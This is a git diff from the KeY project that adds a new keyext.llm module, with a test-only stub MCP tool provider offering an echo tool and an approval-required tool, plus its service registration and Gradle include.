diff --git a/keyext.llm/src/test/java/org/key_project/key/llm/TestMcpToolProvider.java b/keyext.llm/src/test/java/org/key_project/key/llm/TestMcpToolProvider.java
new file mode 100644
index 00000000000..77147de5e29
--- /dev/null
+++ b/keyext.llm/src/test/java/org/key_project/key/llm/TestMcpToolProvider.java
@@ -0,0 +1,64 @@
+/* This file is part of KeY - https://key-project.org
+ * KeY is licensed under the GNU General Public License Version 2
+ * SPDX-License-Identifier: GPL-2.0-only */
+package org.key_project.key.llm;
+
+import java.util.List;
+import java.util.concurrent.CopyOnWriteArrayList;
+
+import org.key_project.key.llm.mcp.FunctionDefinition;
+import org.key_project.key.llm.mcp.JsonSchema;
+import org.key_project.key.llm.mcp.McpClient;
+import org.key_project.key.llm.mcp.McpToolProvider;
+import org.key_project.key.llm.mcp.Tool;
+
+/**
+ * Test-only tool set registered via a test {@code META-INF/services} entry. Provides two tools:
+ * an auto-approved echo and a tool that requires approval by default.
+ */
+public class TestMcpToolProvider implements McpToolProvider {
+    public static final String ECHO = "echo_test";
+    public static final String NEEDS_APPROVAL = "needs_approval_test";
+
+    /** Records every executed call as {@code name|arguments}. */
+    public static final List<String> EXECUTED = new CopyOnWriteArrayList<>();
+
+    public static void reset() {
+        EXECUTED.clear();
+    }
+
+    private final McpClient client = new McpClient() {
+        @Override
+        public List<Tool> getTools() {
+            return List.of(
+                new Tool(new FunctionDefinition(ECHO, "echoes the x argument",
+                    new JsonSchema("object"))),
+                new Tool(new FunctionDefinition(NEEDS_APPROVAL, "a tool that needs approval",
+                    new JsonSchema("object")), Tool.ApprovalRequirement.ASK));
+        }
+
+        @Override
+        public Object callTool(String toolName, String arguments) {
+            EXECUTED.add(toolName + "|" + arguments);
+            return switch (toolName) {
+                case ECHO -> "echo:" + arguments;
+                case NEEDS_APPROVAL -> "approved-tool-result";
+                default -> "unknown";
+            };
+        }
+
+        @Override
+        public boolean isClosed() {
+            return false;
+        }
+
+        @Override
+        public void close() {
+        }
+    };
+
+    @Override
+    public List<McpClient> get() {
+        return List.of(client);
+    }
+}
diff --git a/keyext.llm/src/test/resources/META-INF/services/org.key_project.key.llm.mcp.McpToolProvider b/keyext.llm/src/test/resources/META-INF/services/org.key_project.key.llm.mcp.McpToolProvider
new file mode 100644
index 00000000000..ef459a14b74
--- /dev/null
+++ b/keyext.llm/src/test/resources/META-INF/services/org.key_project.key.llm.mcp.McpToolProvider
@@ -0,0 +1 @@
+org.key_project.key.llm.TestMcpToolProvider
diff --git a/settings.gradle b/settings.gradle
index 91c91de2d1e..f9db783c185 100644
--- a/settings.gradle
+++ b/settings.gradle
@@ -32,6 +32,8 @@ include "keyext.slicing"
 include "keyext.caching"
 include "keyext.isabelletranslation"
 
+include 'keyext.llm'
+
 // ENABLE NULLNESS here or on the CLI
 // This flag is activated to enable the checker framework.
 // System.setProperty("ENABLE_NULLNESS", "true")